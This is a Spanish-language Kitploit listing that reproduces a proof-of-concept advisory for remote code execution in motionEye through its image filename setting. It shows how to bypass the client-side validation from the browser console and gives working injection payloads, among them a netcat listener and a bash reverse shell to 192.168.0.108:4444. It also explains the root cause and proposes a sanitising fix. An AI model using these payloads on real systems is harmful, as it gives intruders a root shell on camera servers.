Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
motionEye-RCE-through-config-parameter — Pasos del PoC para esta vulnerabilidad | Kitploit
Herramientas/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Pasos del PoC para esta vulnerabilidad

Ver Repositorio
217hace 0 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

RCE en MotionEye mediante bypass de validación del lado del cliente

Resumen

Durante las pruebas de seguridad de una instancia de MotionEye ejecutándose en Docker, se observó que la validación del lado del cliente dentro de la interfaz web puede omitirse. Esto permite enviar entradas arbitrarias, incluidos payloads que pueden desencadenar la ejecución en el contenedor anfitrión. El problema supone un riesgo de ejecución remota de código (RCE) si se explota.

Versiones afectadas: Todas las versiones hasta la 0.43.1b4 inclusive
Estado del parche: Aún no hay parche disponible. En este aviso se proporciona una solución alternativa.
referencia del proyecto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Entorno

  • Objetivo: MotionEye ejecutándose en Docker
  • Imagen: ghcr.io/motioneye-project/motioneye:edge
  • Puerto expuesto: 9999 mapeado al 8765 del contenedor
  • Credenciales de prueba: admin / contraseña vacía (por defecto)

Pasos para reproducir

1. Configuración del contenedor

Ejecute el siguiente comando para iniciar la descarga de la imagen Docker y arrancar el contenedor

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
imagen

2. Verificación de la versión

docker logs motioneye | grep "motionEye server"

Resultado: Servidor MotionEye 0.43.1b4 imagen

3. Acceso al sistema de archivos

Una vez que el contenedor Docker esté en ejecución, se puede acceder al shell del contenedor con los siguientes comandos

docker exec -it motioneye /bin/bash
ls -la /tmp
imagen

4. Acceso inicial

Acceda a la interfaz web en:
http://127.0.0.1:9999
Inicio de sesión: admin (contraseña vacía)

5. Configuración de la cámara

Se añadió una cámara de red RTSP de muestra.
imagen

6. Intento de inyección

Se introdujo un comando de ejecución malicioso en “Imágenes fijas” > “Nombre de archivo de imagen”, pero se encontró un error de validación del lado del cliente.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloqueado por la validación del lado del cliente.
imagen

imagen

7. Descubrimiento de la validación del lado del cliente

El siguiente script es responsable de la validación: /static/js/main.js?v=0.43.1b4, que hace referencia a /static/js/ui.js?v=0.43.1b4 para implementar las condiciones de validación.

Archivo: /static/js/main.js?v=0.43.1b4 que hace referencia a /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Técnica de bypass

Al sobrescribir la función configUiValid en la consola del navegador, se pueden omitir todas las comprobaciones de validación: Introduzca el siguiente fragmento en la consola del navegador (F12 o Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
imagen

9. Ejecución del payload

Ahora el payload se puede introducir directamente sin ninguna validación: configúrelo como se muestra a continuación y aplique los ajustes

Ajustes:

  • Modo de captura = Instantáneas por intervalo
  • Intervalo = 10
  • Nombre de archivo de imagen:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
imagen

Aplicado → Archivo creado con permisos de root.

imagen

Impacto: Armando el RCE

generación sencilla de una reverse shell:

Escuchador:

nc -lvnp 4444
imagen

Payload inyectado:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
imagen

Resultado: Se obtuvo una shell remota.


Causa raíz y flujo

MotionEye es vulnerable porque toma la entrada del usuario desde el panel web y la escribe directamente en los archivos de configuración de Motion sin comprobar si hay caracteres peligrosos. Por ejemplo, el campo image_file_name de la interfaz se envía al backend (config.py) y se guarda en /etc/motioneye/camera-.conf. Cuando MotionEye reinicia el servicio de Motion (motionctl.start), el proceso de Motion lee este archivo de configuración. Si el campo picture_filename contiene sintaxis de shell como $(touch /tmp/test), Motion lo ejecutará como un comando real en lugar de tratarlo como parte del nombre de archivo.

Entrada sin sanear escrita en los archivos de configuración de Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


Prevención

Corrección de saneamiento

Archivo: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
imagen

Aplique el saneamiento:

data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

antes: imagen después: imagen


Resolución alternativa

Descargar herramienta